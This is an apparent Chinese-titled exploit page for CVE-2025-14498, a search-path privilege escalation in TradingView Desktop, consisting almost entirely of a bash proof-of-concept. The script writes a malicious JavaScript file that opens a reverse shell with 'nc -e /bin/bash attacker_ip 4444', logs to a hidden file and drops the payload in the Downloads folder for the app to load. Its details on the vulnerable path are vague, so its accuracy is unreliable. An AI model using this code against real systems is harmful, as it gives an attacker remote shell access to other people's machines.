CVE-2025-14498 TradingView Desktop Electron本地权限提升漏洞

#!/bin/bash # CVE-2025-14498 PoC - TradingView Desktop Uncontrolled Search Path # This PoC demonstrates the privilege escalation vulnerability # Step 1: Create malicious script that will be loaded by TradingView Desktop cat > /tmp/tradingview_helper.js << 'EOF' // Malicious script to be loaded by vulnerable TradingView Desktop const { execSync } = require('child_process'); const fs = require('fs'); const path = require('path'); // Attempt to gain elevated privileges try { // Create a reverse shell or execute arbitrary commands // This runs in the context of the TradingView Desktop process const payload = 'nc -e /bin/bash attacker_ip 4444'; // Log execution for debugging const logFile = '/tmp/.tradingview_exploit.log'; fs.appendFileSync(logFile, `[${new Date().toISOString()}] Payload executed\n`); // Execute system commands with elevated privileges execSync(payload, { stdio: 'inherit' }); } catch (err) { console.error('Exploit failed:', err.message); } EOF # Step 2: Place malicious script in a location that TradingView Desktop searches # Common vulnerable locations include current directory, temp dirs, or PATH dirs mkdir -p ~/Downloads cp /tmp/tradingview_helper.js ~/Downloads/ # Step 3: Set appropriate permissions chmod 644 ~/Downloads/tradingview_helper.js # Step 4: Monitor for successful exploitation # The malicious script will execute when TradingView Desktop is launched # and loads scripts from the unsecured location # Note: Actual exploitation requires specific conditions: # - Attacker must have local code execution on target system # - TradingView Desktop must be installed and configured to load from vulnerable paths # - The specific vulnerable path depends on TradingView Desktop version and configuration